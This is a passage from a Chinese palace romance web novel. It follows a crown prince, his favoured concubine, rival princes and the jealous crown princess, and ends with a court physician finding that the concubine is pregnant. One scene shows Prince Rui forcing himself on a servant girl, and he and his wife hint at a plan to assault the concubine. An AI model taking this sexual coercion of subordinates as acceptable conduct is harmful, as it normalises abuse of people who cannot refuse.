裴皇后早对男女之事没了兴致,全仕财来报消息时元隆帝正和她偎在一起闲聊。
“陛下,娘娘,几位王爷都出宫了。”
元隆帝侧目:“喝了多少?”
“睿王爷,慎王爷有些醉了,荣王爷,宣王爷和简王爷说是瞧着没什么。”
元隆帝:“简王惹太子了?”
全仕财讪笑,把傍晚工部衙署门前发生的事三言两语说了一遍。
大致就是简王惹了太子,没敢在席间喝酒。
元隆帝的关注点不同。
等全仕财一走,他便哼笑了一声:“那食盒一定不是海顺叫他带的。”
裴皇后笑:“陛下何以见得?”
元隆帝哼了哼。
“他还小的时候,朕带他去六部和三大营,朕要叫全仕财给他带小零嘴儿他都不愿,还反过来说教朕。
那时他就自有一套理论,连朕的话都不听,如今他都二十一了,你觉得他会听海顺的,拎着个食盒去当差
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?”
裴皇后想了想,确实不会。
儿子从小就规矩大,严于律己。
元隆帝:“你不是见过他媳妇儿给他寻的那个侍寝宫女,瞧着如何?”
裴皇后打了个哈欠:“瞧着是个乖巧本分的,但具体如何,还得要看今后。”
东宫。
海顺在浴桶边替太子净发,顺嘴问:“明日奴才也为您备些糕点小菜?”
一听糕点小菜。
骆峋想到了槛儿。
想到昨夜她提起给他准备东西的话,想到今晨她立在黎明中目送他离开的身影,以及那双温柔的眼。
说不清道不明的感觉。
骆峋忽然想见她,想听听她的声音。
想抱她。
傍晚在衙署门口,简王问提盒是不是她替他准备的时,睿王和慎王的反应。
慎王不提。
浑归浑,却从不会通过后宅妇孺使什么下流腌臜手段来对付别人。
顶多嘴上阴阳几句。
睿王则不同。
那惯是个道貌岸然,见缝插针的。
哗啦!
骆峋倏地从浴桶中起身。
“殿下?”海顺冷不丁被溅了一身的水,呛咳着站起来不解地喊道。
太子殿下回头看他一眼。
须臾,他重新坐下来。
“洗。”
海顺:“……”
闹哪样呢??
.
槛儿睡下了。
听小福子说太子请了几位王爷在仁安殿吃酒,槛儿便没有多关注,戌时过半就收拾好上榻睡下了。
正睡得沉,忽感脸上似被什么挠了一下。
再一下。
以为是蚊虫,槛儿抬手一拍。
啪!
没感到疼,好像也没拍到她脸上。
槛儿后知后觉不对劲。
然后就在她即将睁眼时,低沉的男声突兀地响起:“是孤,无需惊慌。”
槛儿不惊慌。
她都没睁眼。
但……太子?!
槛儿一个激灵,“刷”一下美目圆睁。
便见纱帐低垂,男人侧坐在床榻之上。
黑发半束,身上青袍微敞,露出一片玉石般的健硕胸膛,小灯晕黄的烛光弥漫过来,浸着他半边身子。
光影朦胧间他清冷的眸子不似平日里寡淡,仿佛氤氲着一层迷蒙雾气。
透着一股别样的温柔。
“殿下?”
槛儿撑着榻坐起身,疑惑他怎么这时候来了,难道又是偷摸着来的?
她透过纱帐往外看。
次间亮着灯,不是偷摸着来的,应是没让小福子他们进来向她通报。
骆峋不语。
只静静看着她。
她披散着一头顺滑长发,小脸白皙丰盈,红唇微张,娇媚的眉眼因吃惊显出几分这个年纪才有的娇憨。
一身桃粉色的绫纱小衫,内里没穿小衣,轻透薄薄的衫子根本遮不住那一身皓雪凝脂和婀娜丰腴的曲线。
怒耸巍峨,纤腰袅袅一把。
以往骆峋不是没有和她在灯亮着的情况下相处过,但那时她里面都穿着一件小衣裳,包裹得恰到好处。
如今薄毯被她掀开。
猝不及防窥见如此一幕,骆峋眸光一颤。
紧接着腹中几乎本能地升起一股翻腾之意,熟悉的恶寒自脊椎陡然攀升。
“殿下,怎么了?”
槛儿没发现自己的无状,见太子直勾勾地盯着她,半天都没说话。
她很不解。
倾身靠近,习惯性挽他的胳膊。
然而刚有动作。
男人猛地一掌挥开她的手站起身。
啪!
比刚刚更清脆响亮的一巴掌。
槛儿懵了,手背火辣辣的。
骆峋也懵了。
第70章 堂堂太子居然扯谎!荒谬!
空气凝滞,屋中静得厉害。
骆峋袖下的手指蜷了蜷。
稍顷。
他坐回榻上,抓起那只被他拍开的小手。
“疼?”
这不废话吗!
常年习武之人的手劲儿,谁能受得住?
反正槛儿受不住。
她现在就觉得左手火辣辣的,都快木了。
但太子的反应委实奇怪。
槛儿一时拿不准他什么心思,也就没敢贸然开口,只轻轻嚅嗫:“有点儿……”
骆峋听出了她语气里的不安,抬目看过去,那双清亮的眸子里果然写满了忐忑与踌躇。
他握着槛儿手的动作顿住。
突然。
骆峋瞳孔微缩。
看槛儿的眼神仿似看到了什么不可思议之物。
也确实是不可思议。
因为他方才分明已有犯病的迹象,此刻那种感觉却消失得无影无踪!
没有作呕,没有恶寒。
亦没有出疹子的迹象。
甚至他脑海里分明还残留着以往那一幕幕秽乱狼藉,不堪入目的画面。
然而看着她。
嗅着帐中独属于她的那股香,他竟连一丝本能的排斥和厌恶都无!
骆峋下颚紧绷。
胸膛剧烈起伏了好几下。
手上下意识要用力,却又很快反应过来。
槛儿被太子暗得可怕的眸光和突然粗重的呼吸吓到了,以为他要打她。
可随即理智又拉住了她。
这人冷归冷,却不是会以暴力手段将怒火发泄到后院妇孺身上的无能之辈。
与其说太子刚刚是在恼怒,倒不如说更像是突然想起了什么令他不快的事。
会是什么事。
能叫向来沉稳如山的太子那般一惊一乍呢?
且还跟她有关?
不对。
关她什么事呢,她刚刚只是……
不等槛儿想明白,感觉到男人轻轻抚了抚她的手背,随后低低的声音像似从嗓子眼儿里挤出来的一样。
“孤,席间多吃了几杯。”
“适才见你披散着发,便,看岔了。”
槛儿:“???”
看、看岔了?
是她想的那个意思吗?
太子是把披头散发的她看成哪个女鬼了??
她?女鬼?
是这个意思??
槛儿:“……”
骆峋也没想到自己堂堂一国储君,有朝一日竟会当着妾室的面扯出如此谎言。
简直荒唐。
荒谬!
然实情不可言。
又的确是他扰了她好眠,还出手伤了人。
骆峋自恃身份,却也做不来明知错在于自己,还仗势欺人地不打算担责,欺负一个被他误伤的小姑娘。
只他以往从未哄过哪个妾室,一时窘然便只想到了这么一个蹩脚的由头。
面对槛儿惊愕的眼神,太子爷耳根发烫。
暗咳一声。
他放下槛儿的手起身。
也没叫人进来掌灯,就把墙角的小灯拿了过来,查看槛儿被他挥打的那只手。
此情此景像极了早先他夜探香闺,误以为槛儿念着他皇帝老子那晚的情形。
不同的是,那时在太子看来两人全然不熟。
如今情景再现。
槛儿看着男人俊美清冷的侧脸,抿抿唇,两颗剔透的泪珠子夺眶而出。
装的。
骆峋听得“啪嗒”一声响。
侧首看她眉眼低垂,粉颊挂着泪痕,浓睫上盈结着几颗细碎晶莹的泪珠,娇艳的唇瓣亦被她咬得发白。
她也不出声。
就这么安静地,隐忍地垂着泪。
烛光离得近。
她隐于小衫下那身凝脂雪肤与美景也异常明显,但骆峋此刻却全然心无旁骛。
许是此时的她确实楚楚堪怜,也许是今晨她送别他时那份静默的温柔还残留在骆峋的脑海里,心里。
以至于此时此刻。
看她连落泪都如此乖顺,他竟觉莫名的艰涩。
骆峋不能理解这种感觉。
也不喜这样。
比起初见时的娇怯畏惧,比起此时的乖顺恭敬,他更喜欢她如蝴蝶般朝他奔来,更喜她让他投壶时的娇俏。
可骆峋不懂。
正事上有不明白的,他废寝忘食也要将其弄懂,眼前的心境他却好像无从下手。
不知从何入手,他便索性不去深究。
倾身吻去她面颊上那滴欲滚落的泪,吻去她眼睫上的泪,然后亲在她额头上。
再绷着脸,把人拥进怀里。
“孤的不是,准你控诉,恕你无罪。”
槛儿本也是为了招他怜惜才哭的,难得太子失态,这种机会岂能错过。
但没想到,效果这么好?
同时感受着他似乎不同于以往的温柔动作,槛儿有一刹那的晃神。
知道这辈子的他变了,知道他不是不讲道理的人,可真正感受到他冰冷面容下的温柔她还是有种不实感。
原来,他们之间可以这样……
“嗯?”
没听到怀里人的动静,骆峋低头看她。
槛儿就真控诉了,一手揪着他的衣襟,使小性儿似的轻轻啜泣抽搭。
“我、妾身还以为自己做错了什么,以为您要打我!妾身以为、大晚上的……”
自称乱七八糟的。
“您吓坏我了,殿下您吓坏妾身了……”
最后仰头巴巴儿地望着他总结:“您下回来看妾,要不还是叫人先通传吧?”
也省得他不是误会她惦着元隆帝,就是把披头散发的她看成女鬼!
当然,槛儿知道太子在诓她。
但既然他说看岔了就看岔了吧。
骆峋:“……”
太子爷自知理亏,应了。
拿薄毯盖住她的身子,叫人进
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来掌了灯,他自己则细细检查起她的手来。
好在没有伤筋动骨。
手背靠近小指的地方红得厉害,拿凉水敷了敷,再抹上药膏便感觉好受了许多。
瑛姑姑与海顺还云里雾里呢,压根儿不清楚两位主子在屋里发生了什么。
先是听到类似巴掌的声音,紧接着屋子里的光线有变,瞧着是灯挪了地方。
再然后是两人隐隐的说话声,却听不清,当时外面的人也被吓得不轻。
还以为出了什么事。
这会儿看,怎么好端端的就伤了呢?瞅着也不像是行那事伤到的啊。
想不明白,又不敢问。
瑛姑姑只能暗暗心疼槛儿一番,待两位主儿躺下,她和海顺又领着人告退。
帐中。
骆峋将槛儿的手捞过来,放到他的腰间搭着,省得动来动去把药蹭掉。
闹这么一茬,槛儿暂时也没瞌睡了。
但方才的事她也不想提。
便偎着男人轻声问起他今日当差可还习惯,可有用她叫人备的小菜糕点。
如此家常的闲聊话题,在昨晚之前骆峋只有在坤和宫听自家母后提起过。
他轻抚她的发,沉声道:“习惯,有食,往后的些东西便由你来交代备下,可愿?”
槛儿当然愿意。
横竖只是吩咐一嘴的事。
能替太子办事,不但能叫他惦着她,在这后院也是独一份的体面,何乐而不为。
槛儿当即喊了外间的寒酥一声。
报了几个小菜和点心名儿,叫她让小福子跑一趟膳房,明儿一早提前备好。
等她躺回来,骆峋勾起她的下巴。
借着帐外晕黄朦胧的光线仔仔细细地看她,看她明艳的眉眼,看她挺翘的琼鼻以及红艳艳的唇。
脖颈以下便没有再看。
他好像不会厌恶看到她的身子,但人刚被他吓了一通,他哪能只顾自己在这种情况下还要求看她的身子。
又不是禽兽。
在槛儿的唇角抚了抚,骆峋低头覆上去。
极其温柔的一吻。
唇瓣相贴轻蹭,再微微含住,鼻尖似有若无地挨着,呼吸间徐徐交织勾缠。
槛儿觉得今晚的太子有点怪。
但感受着他呼吸中那丝不显的清冽酒气,结合他刚刚的一惊一乍。
她便又觉得合情合理。
且很快,槛儿被亲得再没有心思想其他。
一吻结束。
骆峋搂着她,眸光清明地看着纱帐。
.
睿王府。
睿王回府后先在自己的院子里收拾了一番,之后来了睿王妃这边。
“你见过太子的新妾,觉得人如何?”
睿王妃坐在妆台前由两个大丫鬟伺候着通发,见他一来就问起太子的新妾。
她轻笑一声,“你是指样貌还是人品?”
“你说呢?”
第71章 太子莫非不行?!
睿王往软榻上一靠,衣襟半敞,露出大片不算结实却也并不文弱的胸膛。
那张俊秀的脸因为他此时的动作和漫不经心的表情,多了几分邪魅之感。
睿王妃的两个大丫鬟不经意从镜子看里到自家王爷,羞得俏脸通红。
睿王妃看在眼里。
仍旧是那副云淡风轻的笑脸。
“若说样貌,那是比我还胜三分,若说人品,老实吧,勉强上得了台面。”
睿王对太子的妾没那方面的兴趣,但听睿王妃说比她的样貌还胜三分。
他挑了挑眉。
“还能比你美?”
睿王妃是承德侯家的嫡次女,打小就是圈子里出了名的美人胚子,豆蔻之龄便有了京城第一美人的美誉。
睿王自认见识不浅,却也还没见过哪个女人能在美貌上胜过睿王妃呢。
“你见我什么时候这么夸过别人?”
睿王妃从镜子里睨他,一双标准的狐狸眼往上一挑,极尽妖娆魅惑。
“关键身段儿好,个头不低**的,多数生了孩子的妇人都比不得,嗯……比昱哥儿的奶娘还丰腴。”
昱哥儿的奶娘是个年过二十的妇人,模样不咋好,身段儿倒是一等一的丰腴。
昱哥儿打小就被奶得好,如今都快五岁了,时不时还要吃几口奶。
比昱哥儿的奶娘还丰腴。
难怪连老六那么冷淡的人也开始宠起女人了,原来是喜欢这样的。
睿王喉咙发干,体内蹿起一股火。
压不住,他也不想压。
大步朝睿王妃走去。
睿王妃:“王爷可别来祸害我啊。”
睿王脚下一顿。
随即咬牙,整张脸都阴郁了下来。
该死的信王!
一个月前借他的心腹幕僚之手送了个带病的女人给他,让他损失了一名得力心腹不说,还害他染了病!
此仇不报,他不姓骆!
睿王心里有恨。
没有再说话,他一把将立在一旁的小丫鬟拽过来,发泄般将人抵在墙上。
两个大丫鬟对视一眼,红着脸领着另两个小丫鬟悄无声息地退了出去。
睿王妃转身,背靠着妆台。
元隆帝喜欢美人,后宫女人多,几个成年皇子除了太子其他都是上行下效。
其中睿王府的女人最多。
但睿王比元隆帝差远了。
譬如元隆帝从不强迫人,不会叫下面左右脑子,更不会随便染指宫女。
睿王呢。
对外端的是君子如玉,风流倜傥,待府中的妻妾一视同仁,雨露均沾。
实则却是下流卑劣,荤素不忌。
偏睿王妃就爱他这样。
他越荒唐,她越爱。
睿王发泄着心中的怒火,见睿王妃的脸也红了起来,呼吸不稳,他笑出声。
“照你这么说,太子真是好福气。
只本王见识少,不知比本王的王妃还要美上三分的女子该是何等绝色,”
睿王妃的脑海中便浮现出睿王按着东宫那小昭训,狠狠挞伐的画面。
她顿觉口渴得厉害,紧接着唇角一勾:“王爷想知道,那还不简单?”
夫妻俩对个眼神。
心照不宣地笑了。
.
槛儿的月事迟了。
迟了半个月。
起初的几天因着她没感到任何不适,加上时日不长,就没贸然叫人请医。
可眼看半个月过了,月事还没来。
瑛姑姑就有些坐不住了。
寒酥、跳珠也发现了槛儿的异样,只不过两人素来都是行事稳妥之人。
也就没嚷嚷出来。
只私下里问了瑛姑姑一嘴。
大抵是槛儿这段时间跟没事人似的,三人便以为她没注意到月事的问题。
为了不让槛儿提前担惊受怕,亦或者白操心一场,她们决定暂时瞒着,等过个几天再找机会说出来。
也省得日子太短,诊不出来。
槛儿将她仨人的小动作看在眼里,觉得这几天她们怕是等不着了。
果不其然。
两天后。
太子妃以暑热渐盛,为避免后院女眷伤暑为由,请了东宫的几个女医来替曹良媛和槛儿她们请安脉。
低阶妃嫔和东宫低等侍妾没有定期请平安脉的资格,郑明芷此举既彰显了她的周到也封住了别人的嘴。
即便有人猜出她这么做的真正目的,也没人敢在明面上置喙什么。
因此这日。
槛儿请安回来没多会儿,两位女医来了。
此二人是东宫的医官。
知道这位宋昭训如今算得上是东宫实打实的宠妾,她们也不敢怠慢。
来了之后客客气气跟槛儿问了安,然后轮流对其进行一番望闻问切。
看诊完。
其中的赵女医道:“宋昭训脉象平稳,气血充盈,未有伤暑之状,继续保持现有饮食起居规律即可。”
瑛姑姑、寒酥、跳珠一怔。
刚刚她们把自家昭训主儿月事延迟了半个月这一点,也给提出来了。
赵女医:“可是有何问题?”
望晴,喜雨和银竹等人在屋外,瑛姑姑也用不着顾虑什么:“主子月事迟了半个月,要不二位再诊诊?”
两位女医明白了。
也没多言,直接替槛儿又诊了一次。
这一回她二人诊得更为仔细,又事无巨细地另问了好些别的问题。
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得到了回答,二人对个眼神,最后低声交谈了一番才终于有了结果。
“月信周期确实为判断女子妊娠与否的一种方式,但此方式也不全然对。
女子的月事受多方因素影响,譬如气血、脏腑、外感、七情、饮食或体质差异。
昭训此前月事有规律可循,这一个月却无,极有可能和饮食,起居环境有关。”
赵女医温和地解释道。
寒酥嗫嗫:“所以,主子不是因为……”
赵女医:“目前来看宋昭训并无滑脉之兆,若不放心,可再多观察些时日。”
话都说到这份上了,瑛姑姑她们也不好再说什么,客气地将人送出去。
“主子不必忧心。”
确定女医由跳珠领着走远了,瑛姑姑蹲在槛儿面前,笑着安抚道。
“是奴婢们懂得太少,这才闹了笑话,但您年轻,身子骨又好,就算这回不是,日后也有的是机会。”
寒酥替槛儿捏肩:“您侍寝刚两个月呢,日子还长,好消息是迟早的事。”
槛儿已经调整好了情绪:“我知道,我没多想,只是从前月事一直很规律。
这回突然延迟了这么久,经你们一提,我心里便也难免生了几分心思。
但既然女医说不是,那咱们就再多观察些日子,这事儿急不得,我也不急。”
她是真的不急。
横竖这辈子她是一定要生下曜哥儿的。
早生晚生都可。
槛儿是不急,郑明芷却不这么想。
早在距离槛儿第一次侍寝刚满一个半月的时候,郑明芷就打算等再过半个月就请人来替她诊脉。
为此,她这半个月都惦着这事。
就盼着能听到好消息。
结果女医竟说宋昭训没有怀胎迹象!
“没用的东西!”
郑明芷将茶盏拂到地上。
庞嬷嬷:“心急吃不了热豆腐,左右殿下往她屋里去了那么多回,估计也快了。”
也只能如此了。
但这并不妨碍郑明芷觉得槛儿没用,觉得槛儿白长了那么一副骚身子。
连个孩子都兜不住!
这么想着,郑明芷的脑海里忽然冒出一个荒诞的念头,惊得她一哆嗦。
说起来。
太子至今去了金承徽那儿一次,秦昭训屋里两次,曹良媛那儿也有个十次了。
宋槛儿那边更是端午过后次次留宿,算起来太子如今来后院的次数还算可观。
按理……
怎么着都能让一两个女**肚子了,东宫后院至今却没有一个女人受孕。
这正常吗?
郑明芷心惊。
太子,莫非是不行?!
第72章 有孕(1),太子的宠
太子自然是行的,槛儿上辈子经历了无数次,这辈子目前也没少受。
所以甭管郑明芷怎么在心里骂她,槛儿丝毫不慌,依旧该吃吃该喝喝。
又过了两天,还是没动静。
瑛姑姑和寒酥、跳珠不禁暗暗抱着一丝希望,想着可能真是日子太短了把不出来,三人便继续暗中观察。
然而出乎意料的是。
就在她们心里越发肯定,并为此偷乐的时候,槛儿迟了二十天的月事。
来了。
好吧。
看来真是受起居环境和饮食改变的影响。
好在都想得开。
见槛儿都没把这场误会当回事,她们也就很快把这事儿给抛到脑后了。
尽管太子现在完全没按郑明芷安排的侍寝日子来后院了,槛儿来了月事的消息却还是照例报到了她那儿。
郑明芷听了,更觉得槛儿没用。
曹良媛的眼线给沁芳居递了消息,抚琴和弄墨笑得比年节得了赏钱还高兴。
曹良媛只觉得她们天真。
宋槛儿没有身子,她也没有。
有什么值得乐的?
何况如今宋槛儿比她得宠,这两个月该她侍寝的日子太子都没来沁芳居,之后却连着陪了宋槛儿两夜。
这说明什么?
说明宋槛儿一定会先她有孕!
所幸,她已经有了成算。
曹良媛缓缓吐出一口气。
.
临近六月下旬。
不知是伤了暑,还是夜里没盖好肚脐受了凉,槛儿刚结束月事便害起了病。
每日手脚发软。
对任何事提不起兴趣。
也没有胃口,听到用膳就犯恶心,好不容易吃进肚里的东西扭头便吐了干净。
且头晕头痛,身子体温高。
这些症状和女子有孕初期极为相似,正常情况可能都会觉得槛儿有孕了。
但因着月事刚走,加上槛儿上辈子拢共生了三个孩子都没有类似的情况。
所以她本人和瑛姑姑她们就都没往这上头想,只当这回是真伤了暑。
消息报到嘉荣堂。
郑明芷叫人请了医。
东宫的低阶侍妾没有资格请太医,有病了也是先由东宫的医官诊治。
因而这回来的还是那两位女医,一番诊断,得出的结论就是伤了暑。
开了药。
望晴和喜雨在后罩房架起炉子熬药,原想着主子用了药能转好,谁知槛儿一闻见药味儿就吐得昏天黑地。
喝不进药,又吃不下东西。
人倒是瘦得不明显,就是苍白虚弱得厉害。
而眼看万寿节将近,太子近日忙得脚不沾地,好几次回东宫都大半夜了。
海顺没敢在这时候拿后院的事去扰他,便自个儿替主子跑了一趟永煦院。
哪知宋昭训病得如此厉害。
海顺吓了一跳,假模假样招呼了太子妃一声就叫人拿着腰牌去请太医。
但太医得出的结论和两位女医一致,都道槛儿伤了暑,需要服药静养。
偏槛儿喝不进药。
这就成了难题。
如今海顺最是知晓宋昭训在太子跟前的特殊性,见状也不敢再瞒了。
刚好太子今日回得还算早,且明日休沐,海顺便等他沐浴完将此事上报了。
于是,等骆峋来了。
看到的便是往日娇艳如牡丹也似的小姑娘,此刻容颜苍白地卧病在床。
他脚下一顿。
“殿下……”
槛儿撑起身。
骆峋大步来到榻前。
将要起身向他行礼的人按回榻上躺着,然后很自然地握住槛儿的手。
“喝不下药?”
槛儿点头。
不舒服,她也没心思对他做戏了,只有气无力地回握了一下他的手。
“难受……”
话音还没落,眼泪就簌簌往下掉。
其实槛儿不想哭,她现在没精力做戏,可不知怎么她心里就是不舒坦。
尤其看着这张俊美冷肃的脸,她莫名其妙就想到了上辈子和他的种种。
想到他总冷着张脸,让人捉摸不透。
想到自己在他面前如何战战兢兢,如履薄冰,槛儿心里便百感交集,可明明这些事她上辈子就不在乎。
这辈子更不在乎。
偏这会儿也不知怎么,就觉得委屈和不甘,不能冲他发泄,便忍不住哭。
瑛姑姑和跳珠她们在一旁看得又心疼又害怕,担心太子会嫌她们主子烦。
幸好。
太子只沉默了片刻,然后转身坐到床头将人捞到怀里抱着,替她拭泪。
“别哭,仔细伤了眼。”
槛儿哭得更厉害了。
骆峋:“……”
侧目看眼瑛姑姑端着的药碗。
骆峋伸手。
瑛姑姑忙把药碗端过来。
骆峋让槛儿靠在自己怀里,一手端碗,一手拿着小匙舀了一小匙汤药。
尽量放缓音调。
“再试试,喝完有蜜饯。”
海顺瞳孔狂震。
说起来,他们家爷对宋昭训的宠,放在寻常高门大院里其实真算不得什么。
毕竟像是连番叫人侍寝,在侍妾屋里留宿什么的都是很稀疏平常的事。
可谁叫太子爷不同寻常呢。
一个平时不会做这件事的人突然做了这样一件事,当然就容易引起轰动。
就好比现在。
哪怕知道宋昭训在太子跟前得宠,乍一看到太子亲自喂其喝药,在场之人也还是免不得觉得心惊肉跳。
海顺只看了一眼被太子牢牢圈在怀中的宋昭训,便垂下眼不敢再看了。
太子亲手喂药,槛儿当然要给面子,且他的这一举动也让她心里有几分熨帖。
可惜,心有余而力不足。
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太子刚将药送到槛儿嘴边,她的喉间就一阵翻涌,随即推开他的手。
趴到他腿上,对着床外一阵干呕。
药洒到锦被上。
关键当着太子的面吐成这样。
屋里的宫人都吓了一跳,不知要不要跪。
瑛姑姑她们却是顾不得那么多了,赶忙过去顺气的顺气,端唾壶的端唾壶。
好不容易消停,槛儿漱过口。
骆峋觉得她的脸又白瘦了几分,衬着眼尾的那抹红显得格外可怜。
瑛姑姑请太子移步更衣。
但槛儿偎着男人结实而富有弹性的胸膛,嗅着他身上独有的香,竟难得觉得舒服一动也不想动。
骆峋有所察觉,索性将人抱到腿上坐着。
瑛姑姑悄然退到一旁。
“如此好受些?”骆峋问。
槛儿恹恹地“嗯”了一声。
骆峋握住她的手,就这么安静抱着人。
嘉荣堂。
郑明芷听说太子下了值不久就去了永煦院,她忍了忍,还是没忍住。
“一个是小姐的身子丫鬟命,一个捡块儿瓦片当宝玉,一个**的奴才也值得他宝贝得跟什么似的。”
早知他喜欢这种下流货色,她就该拿那些个低贱奴才把后院填满!
当然,这种想法只能在心里想想,包括刚刚的嘲讽,郑明芷也说得很小声。
她起身往外走。
“叫人去沁芳居跟香叶轩跑一趟,就说我要去探望宋昭训,她俩要来就来。”
她得看看那贱婢究竟病得有多严重,别病**,还要累得她另寻肚皮!
郑明芷一行人到时。
槛儿正靠着太子昏昏欲睡,冷不丁听到院外的动静,她清醒过来打算起身。
“别动。”
骆峋按着她的肩。
槛儿仰头看他,“太子妃……”
骆峋的确不允许后院有谁落郑氏的面子。
郑氏还在这个位置上一天,她代表的就是他的颜面,是皇家的颜面。
然他也不是一味的迂腐。
她病成这样,还让她守这些规矩。
他成什么了?
“无妨。”
骆峋捏捏她的手,冷声道。
行吧。
槛儿没什么力气,看他不在意规矩,她也就懒得动了,继续在他身上靠着。
于是,等郑明芷三人进来。
看到的就是她们那个从来都拒人于千里之外,仿佛谁都近了他的身,入不了他的眼的太子怀抱着宋昭训。
模样依旧冷。
却又与她们熟知的太子判若两人。
仿佛一块万年不化的冰山脚下忽然多了一朵娇花,旁人以为这朵花会被冰山冻死,谁知却陡然发现。
原来这座冰山,在为娇花遮风挡雨。
这一刻。
仿佛有什么在坍塌。
郑明芷,曹良媛以及秦昭训,只觉得心惊。
第73章 有孕(2),宋昭训有妊娠之状!
“怎么病得这么重了?”
调整好心绪。
郑明芷领着曹良媛和秦昭训进来向太子见了礼,状似关切地看着槛儿。
“我只听人说你身子不适,女医来诊过说是伤了暑,吃上几服药便能养好,哪知结果竟是病成了这样。”
说着话,她的眼里流露出几分自责。
像是在为自己没看顾好女眷而感到愧疚,实则是在借此间接告诉太子。
并非她没尽到责任,是下面的人传话不仔细,也有暗损槛儿不中用之嫌。
一个伤暑也能搞成这样。
槛儿稍稍直起身子。
恭顺道:“太医也说是伤了暑,没什么大碍,劳太子妃和二位姐姐费心了。”
曹良媛的目光从太子和槛儿交握的手上扫过,心里的酸意压都压不住。
倒也不是吃味儿。
就是不甘。
不甘她至今连触碰一下太子都要被斥责越矩,这个宋槛儿却能如此被太子呵护在怀,手还握得这么紧!
有必要?
一个奴婢,究竟有何可喜欢的?
曹良媛想不明白。
面上倒还是平时的爽朗模样。
“瞧瞧这小脸儿,瘦得都只二指宽了,叫人都不忍心看了,这样下去如何是好?听说还喝不进药?”
槛儿是有些清减,却也没有这么夸张。
二指宽的脸,那能叫脸?
“那药苦得厉害,是有些犯恶心。”
槛儿无力地笑笑。
娇媚的眉眼自然流露出几分病弱,更显得她明明比郑明芷和曹良媛她们都丰腴,却分外柔弱堪怜。
曹良媛觉得此女当真是心机深沉,随时随地都不忘在太子跟前扮可怜。
她是绝对做不出这种事的!
“不喝药怎么行呢?”
郑明芷挨着太子旁边的凳子坐下了,曹良媛就坐到了榻前和太子相对着,握住了槛儿的另一只手。
“良药苦口利于病,这伤暑啊可大可小,妹妹还是得想法子吃些药才行。”
秦昭训赶鸭子上架被叫过来探病,也是存了几分在太子跟前露脸的想法。
但进门看到太子抱着槛儿的样子,她就想扭头回去了,可惜不能。
这会儿郑明芷和曹良媛都说话了,她也只能板着脸,硬邦邦地附和:“畏苦三分,留病七分,药还是得吃。”
理是这么个理儿。
但槛儿真吃不下。
非但如此,光是听到药这个字她的腹中就一阵翻滚,有了想呕的迹象。
骆峋看到了,抬手将人按到怀里。
“散了吧,省得过了病气。”
他的语气一如既往的淡漠,然而拥着怀里人的动作却不是那么回事。
曹良媛还握着槛儿的手呢。
下一刻手里就空了。
后知后觉是太子把槛儿的手抽了回去,曹良媛的心情那叫一个复杂。
还省得将病气过给她们。
合则他堂堂太子就不用跟患病的妾室保持距离了?就不怕被过了病气?
三人心情复杂地离开了。
槛儿是真的难受,以至于一时疏忽,都没想到可能会把病气过给太子。
他每天那么多事要做,可不能病了。
于是郑明芷她们走后,她劝太子也走。
骆峋只叫她安心歇息。
槛儿没精力同他拗,便真睡了。
骆峋动作轻缓地将人放到榻上,陪着她躺了两三刻钟,直到确定槛儿暂时不会醒来,他才起身出了卧房。
“请莫问期来一趟。”
莫问期就是莫院判。
历来只替裴皇后和太子看诊,请平安脉,偶尔元隆帝那边需要也会叫他。
但太子既开了口,海顺自然不敢耽搁,当即让袁宝跑一趟太医院。
等莫院判来的这段时间,海顺又当着太子的面问了瑛姑姑不少问题。
其实就是替太子问的。
瑛姑姑答得很细致。
不仅连这个月槛儿的月事迟了二十天提了一嘴,还把她们误以为昭训主子有了身孕的事也说了。
这事海顺知道。
不过因为东宫的医官和太医都没提起这事儿,他也就只当白高兴一场。
倒是骆峋听闻此事,蹙了蹙眉。
两刻钟后。
莫院判气喘吁吁地来了。
骆峋没让人叫醒槛儿,亲自来到榻前将槛儿的手腕放到了脉枕上。
莫院判见状和海顺对个眼神。
心里约莫有了数。
遂专心替宋昭训诊起脉来。
然后这一诊,竟诊了足足一刻钟!
这期间莫院判的眉头越皱越紧,表情严肃得仿佛在看什么不治之症。
瑛姑姑和寒酥,跳珠腿都软了,心说不应该啊,伤暑的脉要诊这么久?
终于,莫院判收回手。
到了外面厅堂。
莫院判问了瑛姑姑几个问题后。
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斟酌道:“宋昭训的脉沉细无力,确有几分伤暑之症,但以微臣来看,宋昭训现下情形却不全然为伤暑所致。”
骆峋:“此话怎讲?”
“宋昭训,似有妊娠之状。”
“妊娠?!”
跳珠轻呼。
很快反应过来自己的失态,她后背迅速冒起一层冷汗,赶忙跪下请罪。
骆峋示意莫院判继续。
莫院判就说:“宋昭训外在表现出的症状多数与妊娠初期常见反应一致,但问题在于其脉象沉细不显。”
海顺:“摸不出滑脉?”
“极为不显。”
莫院判颔首解释。
“大多大夫,包括咱们宫里的太医一般都是通过滑脉来判定女子妊娠与否,但单靠这一点是极为片面的。
缘因女子妊娠后气血会凝聚于胞宫用以养胎,进而形成血盛气壅之状。
若孕妇自身气血充盈,素日脉道无滞,那么妊娠初期脉象便可能呈平稳之态。
若是早期妊娠的时间过短,单从脉象上看就更难判定是否妊娠了。”
海顺问:“既摸不准脉,你又如何判定宋昭训的症状是妊娠呢?”
莫院判摸摸胡子。
“寻常大夫摸不出,我嘛……”
海顺想说这人还真是一点儿也不谦虚,转念想他还真不是寻常大夫。
出身医药世家,祖上曾随太祖南征北战,为大靖开国立下过汗马功劳。
莫院判本人,在太医院任职之前曾花十五年时间游遍大江南北,编撰了被众多医者奉为至宝的医书典册。
瑛姑姑又喜又懵,几次欲言又止。
骆峋示意她说。
瑛姑姑恭敬道:“回殿下,主子五日前来过月事,若是妊娠那这月事……”
骆峋看向莫院判。
莫院判:“此乃激经,就是指妇人妊娠之初会来月事,为胎元不固所致。”
“你有几成把握?”骆峋问。
换做寻常太医,这种几率问题,即便心中有数通常也不会把话说得太满。
皆因医学与疾病本身便极其复杂,在宫里当差又要时刻谨记为自己留退路。
故而太医们都不会把话说太满。
但莫院判历来行事与众不同,也不是盲目自信,就是他已经确定的事,是什么样他便会照什么样说。
所以面对太子的问题,莫院判认真道:“九成,再过上十来日就是十成。”
第74章 “你与孤,有孩子了。”
“滑脉多在三个月后更为明显,宋昭训不足两月,又有伤暑之症,便易混淆。
待伤暑病愈再有十日,旁的太医亦能摸出一二。”
骆峋:“药食难咽,如何治?”
莫院判:“伤暑的口服药暂不要用了,微臣开个方子,取方中之药捣碎贴敷于微臣所说的穴位即可清热止呕。
至于吃的东西,微臣一会儿也列个单子,照单子所述小心调护即可。”
骆峋颔首。
“此事暂不要对外声张,宋昭训那边孤会告知。”
这话是对莫院判说的,也是对在场的海顺,瑛姑姑以及跳珠、寒酥说的。
